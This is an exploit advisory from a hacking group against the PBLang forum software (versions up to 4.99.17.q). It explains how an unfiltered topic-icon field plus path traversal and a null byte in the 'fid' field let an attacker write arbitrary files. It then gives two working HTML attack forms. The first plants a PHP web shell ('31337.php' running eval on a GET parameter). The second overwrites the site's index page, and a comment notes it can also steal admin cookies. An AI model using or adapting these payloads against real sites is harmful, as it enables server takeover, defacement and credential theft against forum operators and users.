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____ __________ __ ____ __
/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_
| |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\
| | | \ | |/ \ \___| | /_____/ | || |
|___|___| /\__| /______ /\___ >__| |___||__|
\/\______| \/ \/
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Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
Original Here: http://www.inj3ct-it.org/exploit/pbl.txt
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PBLang <= 4.99.17.q Remote File Rewriting / Remote Command Execution
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#By KiNgOfThEwOrLd
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PoC:
PBLang is a flat forum, it doesn't need any database. When we write a new topic, all
the topics informations will be saved in a file located in "\db\posts" (a not
readeable directory). It looks like a php file, in fact the informations will be
saved in this way:
<?php
$psubject="[subject]";
$pcontent="[contenet]";
$pauthor="[author]";
$pdate="[date]";
$plastdate="";
$pimage="[icon]";
$plastreply="0";
$plastauthor="";
$preplies="0";
$pviews="0";
$pnotify="";
$plock="";
$pip="";
$pvisitors="";
$psticky="";
$plockview="";
?>
The "subject" and the "contenent" values is "htmlentitiesed", so we can't type a
malicious code there...but the "image" value is not filtred, so we can execute a
malicious code!
Don't worry if the directory is not readable, using the directory traversl variable
we can make a file where we want, and so we can read that! The file name will be the
"fid" value that we send via POST, and the file wont have any estension, it will be
like: fid_1 (or something like that). Then, editing the cid value like:
"evilfile.php\0", we can make a malicious file.
Ps. u gotta use nullbyte not encoded, like: \0
if u try to use %00 it will be not considered like nullbyte ;)
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Remote Command Execution Exploit (Works only whit Magic Quotes OFF):
<!-- This code will make "31337.php" in http://[target]/[pblang_path], u can execute
a malicious code via GET as 31337.php?php=[YOUR_CODE] -->
<form action='[target]/ntopic.php?idnum=[idtopic]' name='postmodify'
enctype='multipart/form-data' method='POST'
onSubmit='submitonce(this);'target='_self'>
<input type='text' name='subject' value='Owned by KiNgOfThEwOrLd's Exploit'>
<input type='hidden' name='fid' value='../../../../31337.php\0'>
<input type='hidden' name='cat' value='2' size=40>
<input type='radio' name='topicicon' value='"; <?php eval(stripslashes($_GET[php]));
?>' CHECKED>
<textarea name='message' rows='12' cols='60' onselect='storeCaret(this)'
onclick='storeCaret(this)' onkeyup='storeCaret(this)'>VISIT
Http://www.inj3ct-it.org</textarea>
<input type='hidden' name='gueststatus' value=''>
<input type='checkbox' name='EMNotify'>
<input type='submit' name='Submit' value='Own!'>
</form>
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Index Rewriting Exploit
<!-- This code will rewrite or make "index.html" in http://[target]/[pblang_path] -->
<form action='[target]/ntopic.php?idnum=[idtopic]' name='postmodify'
enctype='multipart/form-data' method='POST'
onSubmit='submitonce(this);'target='_self'>
<input type='text' name='subject' value='Owned by KiNgOfThEwOrLd's Exploit'>
<input type='hidden' name='fid' value='../../../../index.html\0'>
<input type='hidden' name='cat' value='2' size=40>
<input type='radio' name='topicicon' value='"; [YOUR HTML CODE]' CHECKED>
<textarea name='message' rows='12' cols='60' onselect='storeCaret(this)'
onclick='storeCaret(this)' onkeyup='storeCaret(this)'>VISIT
Http://www.inj3ct-it.org</textarea>
<input type='hidden' name='gueststatus' value=''>
<input type='checkbox' name='EMNotify'>
<input type='submit' name='Submit' value='Own!'>
</form>
<!-- You can also use this one to steal the admin's cookies, or execute some
arbitrary operations ;) -->
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